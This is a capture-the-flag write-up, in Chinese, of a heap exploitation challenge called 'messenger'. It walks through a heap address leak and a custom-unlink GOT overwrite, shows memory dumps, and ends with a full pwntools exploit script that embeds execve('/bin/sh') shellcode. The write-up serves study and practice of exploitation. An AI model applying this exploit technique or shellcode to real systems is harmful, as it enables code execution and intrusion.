Info

Category: pwn
Point: 500 Author: Naetw @ BambooFox
這題比賽中沒有解出來,後來還是來練習一下

Analyzing

64 bits ELF, Partial RELRO, 有 canary, 沒有 NX & PIE。

這題有五個選項:

[L]eave message:

[R]emove message:

[C]hange message:

[V]iew message:

[Q]uit:

這邊先說明他的 heap struct(先假設已經留下一則 message size 8):

            +-----------------------+
            | size      | fd        |  # 一開始就有的 Head
            +-----------------------+
            |           | size      |  # First message 
            | fd        | bk        |
            | data                  |
            +-----------------------+
            |           | size      |  # Top chunk
            |           | bk        |
            +-----------------------+

這裡的 fd, bk 會指向 chunk 儲存 size 的地方,而不是 data 開頭或是 chunk 開頭

Exploit

首先,先留下一個訊息,接著利用 change 來做 overflow,之後利用 view 來 leak heap address。

一開始的 heap layout:

0x603000:      0x0000000000000018      0x0000000000603018           # Head
0x603010:      0x0000000000000000      0x0000000000000400           # Top chunk
0x603020:      0x0000000000000000      0x0000000000603000
0x603030:      0x0000000000000000      0x0000000000000000
0x603040:      0x0000000000000000      0x0000000000000000
0x603050:      0x0000000000000000      0x0000000000000000

留下一則 size 8 的 message:

0x603000:      0x0000000000000018      0x0000000000603018           # Head
0x603010:      0x0000000000000000      0x0000000000000031           # First message
0x603020:      0x0000000000603048      0x0000000000603000
0x603030:      0x0000000041414141      0x0000000000000000
0x603040:      0x0000000000000000      0x00000000000003d0           # Top chunk
0x603050:      0x0000000000000000      0x0000000000603018

接下來利用 change 裡面的 overflow 來 leak heap address

0x603000:      0x0000000000000018      0x0000000000603018           # Head
0x603010:      0x0000000000000000      0x0000000000000031           # First message
0x603020:      0x0000000000603048      0x0000000000603000
0x603030:      0x4141414141414141      0x4141414141414141
0x603040:      0x4141414141414141      0x4141414141414141           # Top chunk
0x603050:      0x4141414141414141      0x0000000000603018

這時候利用 view 他會 output 40 個 A 之後把 0x603018 leak 出來,算一下 offset 就可以拿到 0x603000 也就是 heap 的開頭

leak 完之後先把 heap 的 struct 恢復原樣,這邊就不放 layout 了,跟第二個 layout 一樣

恢復之後,在留下新的一則 message size 一樣是 8:

0x603000:      0x0000000000000018      0x0000000000603018           # Head
0x603010:      0x0000000000000000      0x0000000000000031           # First message
0x603020:      0x0000000000603048      0x0000000000603000
0x603030:      0x0000000041414141      0x0000000000000000
0x603040:      0x0000000000000000      0x0000000000000031           # Second message
0x603050:      0x0000000000603018      0x0000000000603018
0x603060:      0x0000000042424242      0x0000000000000000
0x603070:      0x0000000000000000      0x00000000000003a0           # Top chunk
0x603080:      0x0000000000000000      0x0000000000603048

接著就是要利用 unlink 來讓 puts got.plt 指向我們寫的 shellcode,這邊先來看題目實作的 free code:

# list struct
0x6020b0:      0x0000000000603000      0x0000000000000000           # Head  | Nothing
0x6020c0:      0x0000000000603030      0x0000000000603060           # First | Second
size_adr = buf-24;
buf_bk = *(_QWORD *)(buf-24+16);
buf_fd = *(_QWORD *)(buf-24+8);
if (buf_bk)
    *(_QWORD *)(buf_bk+8) = buf_fd;                         // 基本上就是讓 buf_bk chunk 的 fd 接到 current_freed_chunk->fd
if (buf_fd)
    *(_QWORD *)(buf_fd+16) = buf_bk;                        // 讓 buf_fd chunk 的 bk 接到 current_freed_chunk->bk
*(_QWORD *)(size_adr+8) = *(_QWORD *)(qword_6020B0+8)       // 讓 current_freed_chunk->fd 接到除了 Head 的第一個 chunk
if (*(_QWORD *)(qword_6020B0+8))
    *(_QWORD *)(*(_QWORD *)(qword_6020B0+8)+16) = size_adr; // 讓那第一個 chunk 的 bk 接到 current_freed_chunk
*(_QWORD *)(qword_6020B0+8) = size_adr;                     // 讓  Head 的 fd 接到 current_freed_chunk
*(_QWORD *)size_adr &= 0xFFFFFFFFFFFFFFFE;                  // clear inuse bit

這邊我利用的是讓 buf_bk chunk 的 fd 接到 current_freed_chunk->fd 這行,我把 buf_bk 設成 puts_got-8 的地方,然後 current_freed_chunk->fd 設成我寫 shellcode 的地方,這樣就會讓 puts_got 指向 address of shellcode,這樣一來 free 完呼叫 puts 時就會跳到 shellcode 上去執行

所以先用 change 的 overflow 漏洞來改寫 Second Chunk 的 struct,之後再來 free Second Chunk,把他 overflow 成以下樣子:

0x603000:      0x0000000000000018      0x0000000000603018           # Head
0x603010:      0x0000000000000000      0x0000000000000031           # First message
0x603020:      0x0000000000603048      0x0000000000603000
0x603030:      0x4141414141414141      0x0000000000000000
0x603040:      0x0000000000000000      0x0000000000000031           # Second message
0x603050:      0x00000000006030a8      0x0000000000602010
0x603060:      0x4242424242424242      0x0000000000000000
0x603070:      0x0000000000000000      0x00000000000003a0           # Top chunk
0x603080:      0x0000000000000000      0x0000000000603048
0x603090:      0x0000000000000000      0x0000000000000000
0x6030a0:      0x0000000000000000      0x00000000000016eb
0x6030b0:      0x0000000000000000      0x0000000000000000
0x6030c0:      shellcode

這邊會看到 shellcode 位置只擺了 \xeb\x16(jmp 0x18),這是因為 unlink 的 side-effect,他會在 0x6020a8+16 的位置擺上 buf_bk:

0x603000:      0x0000000000000018      0x0000000000603048           # Head
0x603010:      0x0000000000000000      0x0000000000000031           # First message
0x603020:      0x0000000000603048      0x0000000000603048
0x603030:      0x4141414141414141      0x0000000000000000
0x603040:      0x0000000000000000      0x0000000000000030           # Second message
0x603050:      0x00000000006030a8      0x0000000000602010
0x603060:      0x4242424242424242      0x0000000000000000
0x603070:      0x0000000000000000      0x00000000000003a0           # Top chunk
0x603080:      0x0000000000000000      0x0000000000603048
0x603090:      0x0000000000000000      0x0000000000000000
0x6030a0:      0x0000000000000000      0x00000000000016eb
0x6030b0:      0x0000000000000000      0x0000000000602010 <- buf_bk
0x6030c0:      shellcode

如果直接在 0x6020a8 放上 shellcode 會有一小段 shellcode 被 0x602010 寫爛,所以這邊不能直接放,而是利用了 jmp 0x18 讓 puts 跳過去的時候,再往前跳 0x18,這樣就會跳到 0x6030c0 真正 shellcode 所在的地方了

Final Exploit:

#!/usr/bin/env python
# -*- coding: utf8 -*-
from pwn import * # pip install pwntools
import sys

r = process('./messenger')

def leave(size, msg):
    r.recvuntil('>>')
    r.sendline('L')
    r.recvuntil('size :')
    r.sendline(str(size))
    r.recvuntil('msg :')
    r.sendline(msg)

def change(idx, size, payload):
    r.recvuntil('>>')
    r.sendline('C')
    r.recvuntil('index :')
    r.sendline(str(idx))
    r.recvuntil('size :')
    r.sendline(str(size))
    r.recvuntil('msg :')
    r.send(payload)

def view(idx):
    r.recvuntil('>>')
    r.sendline('V')
    r.recvuntil('index :')
    r.sendline(str(idx))

def remove(idx):
    r.recvuntil('>>')
    r.sendline('R')
    r.recvuntil('index :')
    r.sendline(str(idx))

puts_got = 0x602018

# Leak top chunk
leave(8, 'A'*4)
change(0, 60, 'A'*40)
view(0)
r.recvuntil('A'*40)
x = r.recvline()[:-1]
heap = u64(x + '\x00'*(8-len(x))) - 0x18
log.info('heap : {}'.format(hex(heap)))

# Repair the heap struct
payload = 'A'*8 + p64(0)*2 + p64(0x3d0) + p64(0) + p64(heap+0x18)
change(0, 60, payload)

# Make another chunk and use overflow to make arbitratary free
sc = "\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05"
leave(8, 'B'*4)
payload = 'A'*8
payload += p64(0)*2 + p64(0x31) + p64(heap+0xa8) + p64(puts_got-8)
payload += 'B'*8 + p64(0)*2 + p64(0x3a0) + p64(0) + p64(heap+0x48)
payload += p64(0)*3 + '\xeb\x16' +'\x00'*6 + p64(0)*2 + sc
change(0, len(payload)+4, payload)
remove(1)

r.interactive()